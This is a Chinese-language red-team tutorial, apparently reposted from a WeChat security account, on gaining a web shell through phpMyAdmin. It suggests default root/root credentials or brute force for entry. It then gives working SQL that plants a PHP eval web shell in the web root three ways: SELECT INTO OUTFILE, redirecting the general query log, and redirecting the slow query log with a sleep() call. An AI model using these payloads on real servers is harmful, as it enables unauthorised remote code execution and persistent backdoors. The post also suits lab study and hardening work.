点击蓝字
关注我们
日期:2023-02-23 作者:yukong 介绍:分享一下攻防对抗中常用到的 phpMyAdmin
后台getshell
方法。
0x00 前言
后台权限的得分还是比较少的,我们的路当然不止于此啦。
实验环境:
win7 虚拟机
Apache 2.4.39
MySQL 5.7.26
PHP 5.5.9
phpMyAdmin 4.8.5
0x01 phpMyAdmin简介
phpMyAdmin
是一个以PHP
为基础,以Web-Base
方式架构在网站主机上的MySQL
的数据库管理工具,让管理者可用Web
接口管理MySQL
数据库。借由此Web
接口可以成为一个简易方式输入繁杂SQL
语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
phpMyAdmin
跟其他PHP
程序一样在网页服务器上执行,可以在远端管理MySQL
数据库,方便的建立、修改、删除数据库及资料表。
在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin
后台,可通过弱口令(可以直接尝试下账号root
密码root
)或者暴力破解进入管理后台。下面会介绍一些真实环境中常用到后台getshell
的方法。
0x02 getshell方法
2.1 直接写入shell文件
通过outfile
和dumpfile
直接写入shell
文件
(1)利用条件:
-
对
web
目录需要有写权限 -
知道绝对路径
-
secure_file_priv
没有具体值
(2)outfile
和dumpfile
的区别
outfile
:
-
支持多行数据同时导出
-
使用
union
联合查询时,要保证两侧查询的列数相同 -
会在换行符制表符后面追加反斜杠
-
会在末尾追加换行
dumpfile
:
-
每次只能导出一行数据
-
不会在换行符制表符后面追加反斜杠
-
不会在末尾追加换行
因此我们平时直接写入命令的时候使用outfile
即可,特定环境需要写入二进制文件时使用dumpfile
。
(3)具体操作
查看可写目录:
show variables like '%secure%';
如果secure_file_priv
如果是一个目录,则只能在对应的目录下读文件,如果是空(如上图)即不对写入做限制,如果是null
,表示MySQL
不允许写入写入。
直接将一句话写入网站目录:
select '<?php @eval($_POST[cmd]);?>' into outfile 'c:/phpstudy_pro/www/shell.php';
可以直接写入成功,在没有存在限制的情况下还是比较简单的,同理将outfile
改成dumpfile
以二进制的方式写入也是可以的。
2.2 全局日志getshell
在mysql
中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin
后台执行sql
语句开启日志功能,修改日志存储文件。
利用条件:
-
root
权限 -
知道网站绝对路径
(1)查询日志开启状态以及日志写入文件位置:
show variables like '%general%';
(2)开启日志检测,自定义日志路径
# 开启日志监测,
set global general_log = on;
# 设置自定义日志路径
set global general_log_file = 'c:/phpstudy_pro/www/shell1.php';
PS:真实环境下getshell之后及时改回原状态
(3)携带一句话访问网站,记录日志getshell
随便找个位置写入一句话:
查看日志:
看到已经记录了php
语句,通过网页访问可以解析成功:
2.3 慢查询日志getshell
在mysql
中,查询超过10
秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。
优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell
文件就会提示500
错误,通过慢查询日志可以避免这个问题。
利用条件:
-
root
权限 -
知道网站绝对路径
(1)查看慢查询日志开启情况
show variables like '%slow_query_log%';
(2)开启慢查询日志,修改日志文件存储的绝对路径
# 开启慢查询日志
set global slow_query_log=on;
# 修改日志文件存储位置
set global slow_query_log_file='c:/phpstudy_pro/www/shell2.php';
(3)向日志文件中写入shell
请求
这里需要用到延时函数
select '<?php @eval($_POST[shell]);?>' or sleep(11);
最终写入成功。
0x03 总结
总的来说getshell
的方法很多,上面这些是在实战中比较常用的方法。祝大家shell
拿到手软。
原文始发于微信公众号(宸极实验室):『红蓝对抗』phpMyAdmin 后台 getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论